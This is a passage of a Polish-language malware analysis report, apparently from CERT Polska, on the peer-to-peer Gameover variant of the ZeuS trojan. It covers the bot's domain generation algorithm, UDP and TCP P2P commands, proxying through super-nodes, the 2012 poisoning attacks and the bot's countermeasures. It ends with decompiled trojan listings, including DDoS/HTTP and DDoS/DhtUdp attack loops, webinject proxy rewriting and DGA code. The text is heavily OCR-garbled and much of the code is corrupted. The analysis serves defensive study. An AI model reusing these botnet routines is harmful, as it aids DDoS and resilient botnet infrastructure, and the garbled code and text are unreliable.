crypt.type = CRYPT_XOR;
crypt::initKey (&crypt, KEY, 4);
crypt::uniDecoder (&crypt, in, dataSize, out);

}

//... fragment kodu
itemData = mem::allocate(item->header.uncompressSize) ;
if ( item->heder.type & ITEM_COMPRESS ){
tmpBuf = mem::allocate(item->header.dataSize);
if ( newBuf == NULL) goto FAIL;
storage::decryptRec(pStorage, item->header.id, item->dataPointer, item->header.<
dataSize, tmpBuf);
z1lib::unpack( tmpBuf, item->header.dataSize, itemData, item->header.uncompressSize);
mem::freel (tmpBuf) ;

Listing 10: Dekodowanie rekordéw

4 Watki robocze - funkcja "CreateService”

Ponizej zamieszczamy poréwnanie funkcji CreateServices odpowiedzialnej za urucha-
mianie wszystkich watkéw roboczych ztodliwego oprogramowania. Na pierwszy rzut oka
widaé¢, ze implementacja pewnych funkeji (w tym przypadku zarzadzanie watkami) prze-
pisana zostalta ze proceduralnej do obiektowej (klasa nazwana przez nas ThreadGroup).
Wida¢ réwniez w ktérym miejscu w kodzie dodane zostato uruchamianie mechanizmu P2P:
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void core::createServices(bool waitStop){
threads = new ThreadGroup();
if ( coreData::processFlags & OxFEO ) {
if ( coreData::processFlags & 0x800 ) {
p2p = new p2pClass();
threads.objectAsThread (p2p);
}
if ( coreData::processFlags & 0x020 ) {
getBaseConfig (&tmp);

}

if ( coreData::processFlags & 0x100
threads.createl (0, bc::thread, 0, v3, 0);

if ( coreData::processFlags & 0x040 ){
sender0 = new senderClass (0);
threads.objectAsThread (sender0);
senderl = new senderClass(1);
threads.objectAsThread (senderl);

s

if ( coreData::processFlags & 0x080 )
corecontrol::createThreads (&threads);

if ( waitStop ) {
threads.waitForAll ();

}
}
}
// src: dekompilacja CERT Polska

void Core::createServices(bool waitStop){
ThreadsGroup::createGroup (&servcieThreads) H
if (coreData.proccessFlags & CDPF_RIGHT_ALL) {

if(coreData.proccessFlags & CDPF_RIGHT_TCP_SERVER) {
getBaseConfig(&baseConfig);
if ((baseConfig.flags & BCF_DISABLE_TCPSERVER) == 0)

TcpServer:: _create (&servcieThreads);

}

if (coreData.proccessFlags & CDPF_RIGHT_BACKCONNECT_SESSION)
BackconnectBot::create (&servcieThreads);

if (coreData.proccessFlags & CDPF_RIGHT_SERVER_SESSION) {
DynamicConfig::create(&servcieThreads);
Report::create(&servcieThreads);

¥
if (coreData.proccessFlags & CDPF_RIGHT_CONTROL) // 0x080
CoreControl::create(&servcieThreads);
if (waitStop) {
ThreadsGroup::waitForAllExit (&servcieThreads, INFINITE);
ThreadsGroup::closeGroup (&servcieThreads) ;
}
¥
¥
// src: kod zeus 2.0.8.9

Tablica 3: Por6éwnanie kodu funkcji ” CreateServices”

5 Opis mechanizmu DGA (Domain Generation Algo-

rithm)

Mechanizm DGA (jak juz zostalo to wspomniane) zostaje aktywowany w przypadku
problemow z tacznodcia z siecig P2P - konkretnie w sytuacji kiedy liczba wpiséw w lokalnej
tablicy peeréw spadnie ponizej pewnej wartosci. Jego dzialanie polega na sekwencyjnym
generowaniu domen oraz prob potaczenia z wygenerowang nazwg. Lista nazw domenowych
zawiera 1000 pozycji i zmienia si¢ co 7 dni. Wygenerowana nazwa konczy sie na jedna
z szesciu TLD : .ru .biz .info .org .net .com. Po wygenerowaniu nazwy bot taczy sie z
domeng i probuje pobra¢ nowg liste peeréw. Dane pobrane z wygenerowanego adresu sg
weryfikowane - sprawdzany jest podpis za pomoca klucza publicznego (niemozliwe jest
wiec zarejestrowanie domeny i serwowanie sfatszowanej listy peeréw). Jezeli dane przejda
proces weryfikacji, wszystkie wpisy z pobranej listy dodawane sa do lokalnej tablicy peeréow.

Procedura ”Pseudolosowego Generatora Nazw Domenowych”byta zmieniana w czasie.
Kod ostatniej zdekompilowanej wersji zamieszczony jest na listingu [23].
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6 Protokol P2P

Najwicksza innowacja - ktorej z reszta
ten wariant zawdziecza nazwe - jest komu-
nikacja przy pomocy sieci P2P. Jej zada-
niem jest decentralizacja zarzadzania siecig.
Komunikaty przesytane sg pomiedzy zain-
fekowanymi komputerami, a nie bezposred-
nio do CnC. Kazdy komputer po zainfe-
kowaniu staje sie elementem sieci (na rys.
p2p-node) i uczestniczy w wymianie danych. Opr-n ode O O
Dodatkowo wybrane maszyny moga zostac

. . .pr-super—node
oznaczone jako "super-wezly”, czy tez we- o
zty PROXY (rys. p2p-super-node). Uczest- Rysunek 8: Budowa sieci P2P
niczg one wtedy réwniez przekazywaniu da-
nych do serwera CnC. Sg one najprawdopodobniej wybierane recznie sposrod najdtuzej
aktywnych weztow lub takich, ktore posiadajg tacze o duzej przepustowosci.

Protokét wykorzystany w sie¢ P2P przypomina protokotu Kademlia. Kazdy wezet sieci
jest identyfikowany za pomoca unikalnego 20 bajtowego identyfikatora nodelD. Genero-
wany jest on podczas pierwszego uruchomienia bota jako suma SHA1 z dwdch ciggdw
znakow: identyfikatora bota Compld oraz identyfikatora systemu GUID. Podobnie do pro-
tokotu Kademlia odlegtos¢ miedzy dwoma weztami liczona jest za pomocg metryki XOR.
Ta miara wykorzystywana jest miedzy innymi do wybierania najlepszych weztow z tablicy
sgsiadéw w mechanizmie wymiany peeréw (sekcja [6.1.2]).

Sie¢ P2P jest gotowa na i w pelni kompatybilna z IPv6. Kazdy wezel sieci posiadaé
moze posiada¢ réwnolegle dwa aktywne adresy IP: IPv4 oraz IPv6. Do kazdego z adreséw
przypisany jest unikatowy numer portu UDP, na ktérym odbywa sie podstawowa komu-
nikacja P2P. Kazdy wezet posiada réowniez otwarty port TCP, ktory stuzy do wymiany
wiekszych porcji danych. Listing [24] przestawia fragment procedury obstugujacej przy-
chodzace polaczenia. Kazde potaczenie TCP obstugiwane jest jako nowy watek (linia 9),
natomiast pakiety UDP obstugiwane sg w momencie ich odebrania w gtéwnym watku. W
obu przypadkach przed rozpoczeciem procedury obshugi nastepuje sprawdzenie, przy po-
mocy funkcji banlist::isAddrBlacklisted, czy taczacy sie adres nie jest zablokowany. Opis
dziatania tej funkcji znajduje sie w sekeji [8.1].

Kazda komunikacja w sieci P2P rozpoczyna sie od wystania pakietu P2P (patrz tabela
[5]). Pakiet taki zawsze zawiera naglowek p2p-header. Sktada sie on miedzy innymi z pola
moéwiacego o typie pakietu (cmd), identyfikatora wezta wysylajacego (senderID) oraz
unikalego identyfikatora sesji P2p SSID. Ciekawym zjawiskiem jest wystepowanie w komu-
nikatach duzej ilosci losowych danych. Pole junkSize losowane jest kazdorazowo podczas
tworzenia pakietu P2P, a nastepnie na koniec doklejana jest wylosowana liczba losowych
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bajtéw.Prawdopodobnie ma to utrudni¢ heurystyczne wykrywanie podejrzanego ruchu czy
tez tworzenie sygnatur.

Tablica 4: struktura nagléwka p2p-header

Wielko$é (bajty) Nazwa pola Opis
1 randByte losowa warto$¢, rozna od 0
1 TTL pole TTL lub warto$¢ losowa
1 junkSize liczba dodatkowych bajtéw na koncu pakietu
1 cmd polecenie (typ pakietu)
20 SSID identyfikator sesji
20 senderID identyfikator wezta wysytajacego

Tablica 5: Budowa pakietu P2P

Wielkosé (bajty) Opis zawartosci
44 Nagltowek P2P (patrz: tab. [4])
0 lub wiecej Tres¢ komunikatu (zalezna od header.cmd)
hdr.junkSize Losowe bajty (doklejane na koniec pakietu)

6.1 Protokét P2P - komunikaty UDP

Do wymiany danych niezbednych w celu utrzymania tacznosci z siecig P2P malware
uzywa protokét UDP. Do komunikacji wykorzystywane, jak juz zostalo to wspomniane, sa
porty z przedziatu od 10 000 do 30 000. Uzycie tego zakresu portow oraz protokotu UDP
zmniejsza prawdopodobienstwo wykrycia podejrzanego ruchu, poniewaz wiele gier kompu-
terowych do komunikacji sieciowej wykorzystuje protokét UDP oraz porty o wysokich nu-
merach. Na listingu [25] przestawiony jest funkcja wstepnie przetwarzajaca dane odebrane
za pomoca protokotu UDP. Przychodzacy pakiet na wstepie dekodowany (linia 11) jest
przy pomocy prostej funkcji XOR z sasiednim bajtem (nazwa funkcji z ZeuS 2.0.8.9: visu-
alDecrypt). Kazda komunikacja UDP (poza pakietami rozgtaszania super-weztéw) sktada
sie z zapytania oraz odpowiedzi. Tabela [6] przedstawia zestawienie typéw komunikatéw
przesytanych za pomoca UDP. W protokole P2P przyjeto konwencje, iz komendy o nu-
merach parzystych oznaczaja zapytanie. Numer nieparzysty wskazuje iz odebrany pakiet
zawiera odpowiedZ na wystane wczesniej dane.
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Listing [26] przedstawia funkcje odpowiedzialna za przetwarzanie pakietu UDP. Je-
zeli pole header.cmd wskazuje na odpowiedz, nastepuje przeszukanie listy wyemitowanych
zapytan w celu dopasowania odpowiedzi. Podczas przeszukiwania porownywany jest iden-
tyfikator sesji (SSID, linia 24) oraz warto$¢ pola header.cmd (linia 25) w zapytaniu. Jezeli
sprawdzanie zakonczy sie pomyslnie, przetwarzany pakiet dowigzywany jest do pakietu-
zapytania (linia 26), ustawiane jest odpowiednie zdarzenie (linia 27) wskazujace na otrzy-
manie odpowiedzi, a pakiet-zapytanie usuwany jest z kolejki oczekujacych (linia 28).

Tabela 6 przedstawia zidentyfikowane rodzaje pakietow UDP.

Tablica 6: Lista komend UDP

Wartosé pola cmd Opis pakietu
0x00 zadanie numer6éw wersji
0x01 odpowiedz
0x02 zadanie listy peerow
0x03 odpowiedz
0x04 zadanie danych
0x05 odpowiedz
0x06 rozgtaszanie adreséw super-weztow
0x32 rozgtaszanie adreséw super-weztow
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6.1.1 UDP 0x00, 0x01 - Pobranie numeru wersji

Zapytanie | 0x00 |

Pakiet zawierajacy pole CMD o wartosci
0x00 to zapytanie o wersje zasobow. Do-
mys$lnie pakiet ten nie zawiera zadnej tre-
Sci. W niektorych przypadkach tres¢ pa-
kietu moze by¢ uzupelniona o 8 bajtéw (2 x
DWORD) jak na listingu ponizej. Pierwszy
DWORD jest wtedy traktowany jako war-
tos¢ logiczna, ktéra wskazuje czy w odpowie-
dzi chcemy dosta¢ dodatkowo liste adresow
super-weztow.

/] o
int tmp[2]; // 4 bytes
int dataSize = 0;
int dataPtr = NULL;

if ( flagExtQuery ){ // 0 or 1

tmp [0] = flagExtQuery;
tmp [1] = rand::genRand () ;
dataSize = 8;
dataPtr = tmp;

}

pkt = pkt::buildPacket (
dstPeer, CMD_0x00_QUERY_VERSION,
NULL, NULL,
dataPtr, dataSize, mkFlag

E

/] ...

Odpowiedz [ 0x01 |

W odpowiedzi na zapytanie 0x00 klient
otrzymuje pakiet typu 0x01. Zawiera on
dane jak na ponizszym listingu, czyli:

e Numer wersji pliku binarnego
e Numer wersji pliku konfiguracyjnego

e Numer portu TCP odpytywanego pe-
era

Listing 11: Budowanie pakietu 0x00
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struct {
Binary_ver;
Config_ver;
WORD TCP_port;
BYTE randomFill[12];
} pktO1l_verReply;
) ococcoocoos
pktO1l_versionReply data;
rand::fill (&data,sizeof (pktO1l_verReply));
data.Binary_ver = res.resl.version;
data.Config_ver = res.res2.version;
if ( SAddr.sa_family == AF_INET )
data.TCP_port = this.p2pObject.PORTv4;
else
if ( SAddr.sa_family == AF_INET6 )
data.TCP_port = this.p2pObject.PORTv6;
else
data.TCP_port = 0;

typedef
DWORD
DWORD

Listing 12: Budowa pakietu 0x01
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Zapytanie [ 0x02 |

Pakiet zawierajacy zapytanie o peeréw w tre-
Sci zawiera identyfikator ID, do ktérego przy-
rownywane sg identyfikatory w tablicy wezta
odpytywanego. Porownanie polega na wyli-
czeniu odlegloéci w metryce XOR oraz wy-
braniu. Z lokalnej tablicy sgsiadéw nastepnie
wybieranych jest 10 "najblizszych” weztéw -
umieszczane sg one w pakiecie-odpowiedzi.
Proces budowania zapytania przedstawiony
jest ponizej:

6.1.2 UDP 0x02, 0x03 - Pobranie listy peeréow

Odpowiedz [ 0x03 |

Odpowiedz (pakiet 0x03) zawiera liste mak-
symalnie 10 weztéw. Kazdy wpis na liscie
zawiera identyfikator oraz adresy IP i porty
UDP komputera. Ponizej zamieszczono bu-
dowe pakietu:

typedef struct {
BYTE reqID[20]
BYTE randomFill([8];
} pktO2_peersQuery;

/7

memcpy_(data.reqlD, 20) ;
rand::fill(&data.randomFill,

pkt = pkt::buildPacket (

dstPeer.ID,
8);

dstpeer , CMD_O0x02_QUERY_PEERS,
NULL, NULL
data, 28, 1

)

typedef struct {
BYTE ipV6Flag;
BYTE peerID[20];
BYTE peerIp_v4[4];
WORD peerUdpPort_v4;
BYTE peerIp_v6[16];
WORD peerUdpPort_v6;
} pktO3_peerEntry;

pkt03_peerReply pktO03_peerEntry[10];

Listing 13: Budowanie zapytania o sgsiadéw

Listing 14: Struktura pakietu 0x02

6.1.3 UDP 0x04, 0x05 - Pobieranie danych

UWAGA : Analiza ostatnich wersji malware wskazuje, iz ten rodzaj komu-

nikacji zostal usuniety.
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Zapytanie [ 0x04 ]

Pakiet 0x04 shuzy do zainicjowania trans-
misji danych za pomoca protokotu UDP.
Zawiera on informacje jakiego typu zasoby
chcemy pobraé¢ oraz jaka czes¢ danych nas
interesuje. Z uwagi na charakter protokotu
UDP (bezpotaczeniowy, limit na wielko$¢
jednego pakietu), w celu pobrania catego za-
sobu niezbedna jest wymiana wielu pakietow

Odpowiedz [ 0x05 |

W odpowiedzi na pakiet 0x04 bot wysyla
pakiet 0x05. Zawiera on okreslony frag-
ment zadanych danych. Dodatkowo pakiet
odpowiedzi zawiera pole transferID ktore nie
zmienia sie podczas transmisji jednego za-
sobu. Ma to zapobiega¢ zaktdcaniu transmi-
sji oraz wykryciu btedéw. Ponizej struktura
pakietu-odpowiedzi :

[ 0x04 , 0x05 |.

typedef struct {
DWORD transferID;
BYTE datal...];
chunkSize
} pktO5_dataReply

typedef struct {

BYTE resourceType; // O or 1

WORD chunkSize;

// pktO4_dataQuery.«

|

|

| WORD offset;

\

!} pkt04_dataQuery;

Listing 16: Pakiet 0x05

Listing 15: Pakiet - zapytanie o dane

6.1.4 UDP 0x50 - Rozglaszanie adreséw super-weztéw

Pakiety tego typu stuza do rozgtaszania w sieci adresow super-weztow. Kazdy nowy
pakiet, poza informacja o adresie wezta zawiera podpis cyfrowy. Kazdy komputer po otrzy-
maniu pakietu typu 0x50 rozsyta (rozgtasza) go do wszystkich swoich sasiadéw (Listing
[27] - zaznaczone linie), przy czym wartosé pola TTL zmniejszana jest o 1.

6.2 Protokét P2P - komunikacja po TCP

Malware do wymiany wiekszych porcji danych uzywa protokotu TCP. Podobnie jak
w przypadku portu UDP jego numer jest losowany z przedziatu od 10000 do 30000. Ten
sam port TCP uzywany jest zarowno do obstugi protokotu P2P oraz przez ustuge HTTP-
PROXY. Jak wida¢ na listingu [28]), bot odczytuje z gniazda 5 bajtéw, a nastepnie spraw-
dza czy jest to ciag znakéw GET lub POST (linia 8) - co wskazywato by na zagdanie HTTP.
Jezeli jedno z dopasowan zakonczyto sie sukcesem program sprawdza czy polaczenie po-
chodzi z lokalnego komputera (localhost, adres 127.0.0.1) - jezeli tak, zostaje uruchamiana
(oméwiona dalej w raporcie) obstuga przekazywania HTTP przez sie¢ P2P (linia 23).

Jezeli pobrane 5 bajtow nie wskazuje na zadanie HTTP, program traktuje nadcho-
dzace dane jako protokot P2P. Kazda sesja zaczyna sie zawsze od odczytania nagtowka
p2p-header, po ktérej nastepuje wymiana danych. Lista komend obstugiwanych za pomoca
protokotu TCP przedstawiona zostata w tabeli [7]. Kazdy transmitowany bajt - tacznie
z nagléwkiem - jest szyfrowany za pomoca algorytmu RC4. Dla kazdej sesji TCP wyko-
rzystywane sa dwa klucze: nadawcy i odbiorcy. Kazdy z kluczy RC4 budowany jest na
podstawie identyfikatora wezta bedacego odbiorca danych.
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Tablica 7: Lista komend TCP

CMD Opis

0x64 Wymuszenie aktualizacji - plik konfiguracyjny
0x66 Wymuszenie aktualizacji - plik binarny

0x68 Zadanie danych - plik konfiguracyjny

Ox6A Zadanie danych - plik binarny (exe)

0xC8 Wymuszenie aktualizacji listy super-weztéw (proxy)
0xCC Zadzanie P2P-PROXY

6.2.1 HTTP via P2P, czyli P2P-PROXY

W analizowanym wariancie ZeuSa zaimplementowany zostal mechanizm nazwany przez
nas P2P-Proxy. Z punktu widzenia klienta (np.: przegladarki internetowej) dziata on jak
zwykle proxy HTTP, odbierajac zapytanie i zwracajac odpowiedz. Innowacyjnosé tego
mechanizmu polega na tym, iz zapytanie HT'TP opakowywane jest w protokét P2P a na-
stepnie przesytane za pomoca tancucha super-weztéw do miejsca docelowego. Pozwala on
na serwowanie tresci przez protok6t HTTP bez koniecznosci umieszczania ich na publicz-
nym adresie IP czy domenie.

W pierwszej kolejnosci po nawigzaniu potaczenia z super-weztem wysytany jest inicju-
jacy potaczenie nagltéwek P2P z CMD=0xCC (patrz sekcja [6.2.1]). Nastepnie w celu
sprawdzenia dzialania kanalu wysytane jest zadanie testowe GET /test. Jezeli proba za-
konczy sie powodzeniem wysytane jest 5 odczytanych wezesniej bajtéw (poczatek funkeji
na listingu [28]). Dalej dodawany do zadania jest nagtéwek HTTP zawierajacy identyfikator
bota, a cate zapytanie HI'TP przesytane jest przez nawigzane potaczenie do super-wezta,
jak na listingu [29].

Ten sam mechanizm wykorzystany jest do przesytania raportéw do serwera CnC. Dane
wysylane sa za pomoca zadania POST /write (jak na rysunku [9]). Ciekawym faktem
jest - w poréwnaniu do innych wariantéw ZeuSa - brak szyfrowania tresci komunikatéw
wysytanych do CnC. Zapewne autorzy zatozyli, iz szyfrowanie w warstwie komunikacji P2P
jest wystarczajace.

6.2.2 TCP 0x64, 0x66 - Wymuszenie aktualizacji zasobéw (PUSH)

Ten typ pakiety pozwala botmasterowi potaczy¢ sie bezposrednio z zainfekowang ma-
szyna, a nastepnie "wepchna¢” nowa wersje zasobdéw. Moze on przeprowadzi¢ aktualizacje
zaréwno pliku konfiguracyjnego (0x66) jak i binarnego (0x64). Oba pakiety obstugiwane
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Rysunek 9: Wysytanie danych do CnC - zrzut pamieci

sa przez jedna funkcje readDataAndUpdate (patrz listing 30)

6.2.3 TCP 0x68, 0x6A - Zadanie zasobéw (PULL)

Pakiety 0x68, 0x6 A wykorzystywane sg do pobierania nowych wersji zasobéw. Funkcja
handleDataReq(Listing [31]) odpowiedzialna jest za obstuge zadania wystania danych.
W zaleznosci od wartosci pola CMD odsytany jest plik binarny (0x68) lub konfiguracyjny
(0x6A) poprzedzony rozmiarem zasobu.

6.2.4 TCP 0xC8 - Wymuszenie aktualizacji adreséw super-weztéw (PUSH)

Pakiet 0xC8 podobnie do 0x64, 0x66 pozwala na wymuszenie aktualizacji tablicy
super-weztow. Dodatkowo w przypadku otrzymania podpisanego pakietu niezawierajacego
tredci, lista ta jest zerowana. Listing [32] przedstawia kod funkcji obstugujacej ten rodzaj
potaczenia.

6.2.5 TCP 0xCC - P2P-PROXY

Pakiet 0xCC inicjuje potaczenie pozwalajace przesyta¢ dane przez sie¢ super-weztow.
Listing [33] przedstawia funkcje odpowiedzialna za przekazywanie danych za pomoca super-
weztow. Po odebraniu potaczenia TCP z instrukcjg 0xCC w nagtowku, bot wybiera losowo
jeden z super-weztéw znajdujacy sie na lokalnej liscie i przesyta do niego odebrane dane.
W tym procesie dane zostaja odszyfrowane, a do zadania HT'TP dotaczany jest dodatkowy
nagtowek X-Real-IP zawierajacy adres IP klienta taczacego sie do wezta. Zaszyfrowane
ponownie dane sg przesytane do wybranego wczesniej wezta, a w poprzedzajacym trans-
misje nagtowku p2pHeader pole TTL zmniejszane jest o 1.
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Rysunek 10: Przeptyw danych przez P2P-proxy

7 Ataki na sie¢ P2P

Nasz system monitorowania sieci P2P w 2012 roku zarejestrowatl dwie proby ataku.
Ataki byty nieudane, poniewaz po niedtugim czasie botnet otrzymywal aktualizacje, co
uodparniato go na ataki oraz przywracalo kontrole nad siecig P2P. Oba ataki polegaly na
zatruwaniu listy sasiadow komputerow nalezacych do botnetu.

7.1 Wiosna 2012

Na Rysunkach 11 i 12 widoczne sg wykresy przestawiajace aktywnosci w sieci P2P z
punktu widzenia naszego systemu monitorowania. Jak wida¢, ”wiosenne zatruwanie” spo-
wodowalo powolny, lecz systematyczny spadek aktywnosci. Minimalna aktywnos¢ utrzy-
mywata sie az przez 11 dni - po czym w sieci P2P zostala rozdystrybuowana nowa wersja
bota. Spowodowalto to zablokowanie ataku oraz gwaltowny wzrost rejestrowanej aktyw-
nosci: Gtowna zmiang wprowadzong w wiosennej aktualizacji byto dodanie mechanizmu
czarnej listy. Opis tego mechanizmu znajduje sie w kolejnym rozdziale.

7.2 Jesien 2012

" Jesienne zatruwanie” oddzialywalto na sie¢ P2P znacznie efektywniej. Atak spowo-
dowat szybki spadek aktywnosci - a po paru dniach wskazania systemu monitorowania
siegnety prawie zera. Niemniej jednak po raz kolejny w sieci P2P udato si¢ wypuscié i
rozdystrybuowac aktualizacje, ktora pozwolita przywrocic jej dziatanie. Tym razem zajeto
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Rysunek 11: Ataki na sie¢ P2P
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Rysunek 12: Ataki na sie¢ P2P

to 13 dni. Aktualizacja wprowadzita kolejne mechanizmy utrudniajace zatruwanie sieci
P2P falszywymi sasiadami. Opis wprowadzonych mechanizméw znajduje si¢ w kolejnym
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rozdziale.

8 Ochrona sieci P2P - mechanizmy wewnetrzne bota

8.1 Czarna lista

W maju (po zarejestrowanej przez nasz system monitorowania probie ataku) pojawita
si¢ aktualizacja wprowadzajaca pierwsze ograniczenia w tacznosci z siecia P2P. Jest to
statyczna czarna lista zawierajaca zakresy adresow IP (adreséw sieci oraz masek), ktére
podczas préby komunikacji z botem zostana zignorowane. Lista ta (w celu utrudnienia
analizy) zaszyfrowana jest przy pomocy prostej funkcji XOR, ze statycznym 4 bajtowym
kluczem. Warto zauwazy¢, iz lista ta obstuguje jedynie adresy IPv4. Na listingu [34] za-
mieszczono kod funkcji sprawdzajacej obecnosé adresu IP na statycznej czarnej liscie.

8.2 Limit potaczen per IP

Podczas jednej z aktualizacji wprowadzony zostal dodatkowy mechanizm ograniczajacy
liczbe potaczen z botem per adres IP. Jezeli z tego samego adresu IP zostanie wystane
wiecej niz 10 pakietéw w ciggu 60 sekund - adres ten zostaje oznaczony wartodciag -17, co
oznacza jego zbanowanie. Maksymalna liczba wpiséw na liScie wynosi 2000. W odroznieniu
od statycznej czarnej listy, mechanizm limitowania potaczen obstuguje adresy IPv4 oraz
[Pv6. Kod funkcji zostal przedstawiony na listingu [35].

8.3 Ograniczenia dla listy sgsiednich peeréw

Gameover posiada zaimplementowany mechanizm ograniczajacy wystepowanie adresow
IP na liscie sasiednich weztéow. Sprawdza on zaréwno adres IPv4 jak i IPv6. Kod funkcji
wywolywanej przed dodaniem nowego wezta do listy przedstawiony jest na listingu [36] -
wywohuje on kolejno funkcje sprawdzajace adres IPv4 i IPv6.

Dla adreséw IPv4 mechanizm ogranicza wystepowania adreséw IP z tej samej podsieci
na liscie sgsiednich peeréw. Przedstawiona ponizej funkcja sprawdza, ile adreséw IP na-
lezacych do tej samej podsieci znajduje si¢ na licie peerow. Maska podsieci zdefiniowana
jest statycznie 1 wynosi 255.255.255.128.

W przypadku adreséw IPv6 procedura wyszukujaca poréwnuje caly adres IP.

9 Listingi

Ponizej zamieszczone sa fragmenty zdekompilowanego kodu trojana.

int webinj::fix_PROXY_SERVER_HOST (char **pText, int *pTextLen){
/* Find and replace all % _PROXY_SERVER_HOST_$ with 127.0.0.1:TCP-PORT */
char formatBuf [16];
char newStrBuf [48];
int PROX_STR_SIZE = 21;
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networkSettings netSet;
int foundOne = O0;

char* ProxStr = mem::alloc (327);
if (ProxStr == NULL) return O;
str::getCryptedA (CSTR_PROXY_SERVER_HOST, ProxStr); // get "$_PROXY_SERVER_HOST_$"

newStrSize = -1;
fndPos = str::findSubstringN (*pText, *pTextLen, ProxStr, PROX_STR_SIZE);
while (fndPos) {
foundOne = 1;
if (newStrSize==-1)
str::getCryptedA (CSTR_127_0_0_1_TCP, formatStr); // get "127.0.0.1:%u"
reg::readNetSettings (&netSet)
char* strEnd = str::sprintfX2(newStrBuf, 48, formatStr, netSet.tcpPort);
newStrSize = strEnd - newStrBuf
}
newSize = (*pTextLen - PROX_STR_SIZE) + newStrSize;
if ( newSize > *pTextLen ){
char* oldPtr = pText;
mem::reSize( pText, newSize );
fndPos = pText + (fndPos - oldPtr);
¥
int tmpLen = *pTextLen - (pText - fndPos + PROX_STR_SIZE);
memmove ( fndPos + newStrSize , dnsPos + PROX_STR_SIZE , tmpLen);
memcpy ( fndPos, newStrBuf, newStrSize);
fndPos = str::findSubstringN (*xpText, *pTextLen, ProxStr, PROX_STR_SIZE);
}
mem:: freel (ProxStr);
return foundOne;

Listing 17: podmiana ciggu znakéw $ PROXY_SERVER _HOST_$

int scripts::DDoS_type (int argc,wcharx argv[]){

wchar tmpBuf [8];

str::getCryptedW (CSTR_dhtudp , tmpBuf) ;

if (str::cmpW(argv[1], tmpBuf, -1){
this.ddosObj = new ddosClassDhtUdp () ;
return 1;

}

str::getCryptedW (CSTR_http, tmpBuf);

if (str::cmpW(argv[1], tmpBuf, -1){
this.ddosObj = new ddosClassHttp();
return 1;

}

return O0;

Listing 18: Funkcja ustawiajgca rodzaj ataku DDoS

void ddosThread::run(){
int result;
int startTime = GetTickCount ();

dojm 1!
this.ddosObject.attack(globalStopEvent);
if ( (GetTickCount() - startTime) >= this.attackDuration )
break;
result = WaitForSingleObject_(globalStopEvent, this.sleepTime);
} while ( result == WAIT_TIMEOUT );

i

Listing 19: Gléwna petla wykonywania ataku DDoS
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int ddosHttp::attack(void* stopEvent){
int i = 0;

int status = 0;

if ( this.targetList.elCount == 0 )
return O;

do {

struct_TargetHttp* curTarget = &this.targetList.dataPtr[i];
if ( target->enabled ) {
int retVal;

wininetClass nObj = new wininetClass();
retVal = nObj.http_startReq(curTarget->userAgent, curTarget->dstURL,
curTarget ->postData, curTarget->postDataSize,

curTarget ->inetFlag, curTarget->httpFlags);
nObj.status = retVal;
if ( retVal ){
retVal = nObj.http_readData (NULL,0x500000,stopEvent);
curTarget.status = retVal;
if ( retVal )
status = 1;
}
inter::closeAll (&inetStruct);
}
} while (i < this.targetList.elCount );
return status;

Listing 20: Funkcja obslugujaca wykonanie ataku DDoS/HTTP

int ddosDhtUdp::attack(void* stopEvent){

int i = 0;

int status = 0;

if ( this.targetList.elCount == 0)
return O;

do {

struct_TargetDhtUdp* curTarget = &this.targetList.dataPtr[i];
if ( curTarget->enabled ){
Class_P2PPacket pktil;
NetObj netil;
int retVal;
sockaddr addr;
pktl = p2p::createPackets(0, 0, _null, _null, _null, _null, _null, _null);
if (!'pkt1l) {
curTarget->status = 0;
continue;
}
memcpy (&addr , &curTarget->sockaddr, O0xiCu);
if (curTarget->portA && curTarget->portZ){
WORD port = htons( rand::range( curTarget->portA, curTarget->portB ) );
if ( addr.sa_family == AF_INET || addr.sa_family == AF_INET6 )
addr .port = port;
}
netl.init_empty(TypeByFamily (addr.sa_family), PROTO_UDP);
retVal = netl.bindEx (0, SOMAXCONN) ;
if (retVal)

retVal = netl.udpSendTo (&addr, pktl.PKT.dataPtr, pktl.PKT.dataSize, stopEvent);

curTarget ->status = retVal;
status = retVal;
pktl.uninit ();
netl.shutdown () ;
}
i++:
} while ( i < this.targetList.elCount );
return status;
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|}

Listing 21: Funkcja obstugujaca wykonanie ataku DDoS/DhtUdp

int resource_verifySignature (char *rawData, int dataSize){
char localBuf [284];
char key[4];
int keyLen = O0;

* (DWORD*) key = 0x5B38B65D;
mem: : copy (localBuf , localPublicKey, 276);

int i = 0;

int j = 0;

do {
localBuf [i++] ~= key[j++];
if (§ == 4 )j = 0;

} while ( i < 276 );
struct_hash hash;
hash::init (&Zhash, ENUM_HASH_SHA1);
hash.pubKey = 0;
if (hash::importKey(&hash, localBuf)) {
keyLen = crypt::getKeyLen_inBytes (&hash);
if (keylen>0 && dataSize > keyLen){
int contentlen = dataSizel - keylen;
hash::add (&hash, rawData, contentLen)
if (!hash::verifySignature(&hash, (rawData + contentLen), keyLen) ){
keyLen=0;
}
¥
}
hash::uninit (&hash) ;
memset (localBuf, 0, 276);
return keyLen;

Listing 22: Weryfikacja podpisu cyfrowego

int peerUpdater::DGA_main(void#* pStopEv, GDAparams#* params){
signed int status;
DATETIME dateTime;
char domainBuf [60];
http::getTimeFromWWW (&dateTime) ;
if ( dateTime.wYear < 2011u )
GetSystemTime (&dateTime) ;

int seed = rand::genRand();
int i = 0;
while ( 1 ) {
if ( pStopEv != NULL )
if ( WaitForSingleObject( pStopEv, 1500) != WAIT_TIMEOUT )
return O;
else
Sleep (1500) ;
int domainLen = DGA::generateDomain(domainBuf, &dateTime, seed++ % 1000u);

if ( !domainLen )
return O;

status = DGA::loadPeerlistFromDomain (domainBuf , params);
if ( status == 0) break;
if ( status !'= 2 ) {
++1i;
if ( i == 1000 ) returmn O;
}

B

return 1;
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int DGA::generateDomain(char *out, DATETIME *datetime, int seed){
unsigned __int8 pos;
char *ptrMD5;
char datal7];
char md5Buf [32];
*(char* ) (data+0) = LOBYTE(datetime->wYear) + ’07;
*(char* ) (data+1) = LOBYTE(datetime->wMonth) ;
*(charx* ) (data+2) = 7 * (datetime.days / 7);
* (DWORD*) (data+3) = seed;
int result = hash::fastCalc (HASH_MD5, md5BufBuf, data, 7);
if ( result == 0) return O;
int i = 16;
int pos = O0;
do {
char cl1 = (*md5Buf & Ox1F) + ’a’;
char c2 = (*md5Buf >> 3) + ’a’;

if ( c1 '= c2 ){
if ( cl <= ’z’ ) outl[pos++] = ci;
if ( c2 <= ’z’ ) out[pos++] = c2;
}
++ptrMD5;

—i;
} while ( i );

out [pos] = ’.7; pos++;

if ( seed % 6 == 0 ) { append(out+pos,"ru"); pos+=2; }
if ( seed % 5 == 0 ) { append(out+pos,"biz"); pos+=3; }
if ( seed & 3 == 0 ) { append(out+pos,"info"); pos+=4; }
if ( seed % 3 == 0 ) { append(out+pos,"org"); pos+=3; }
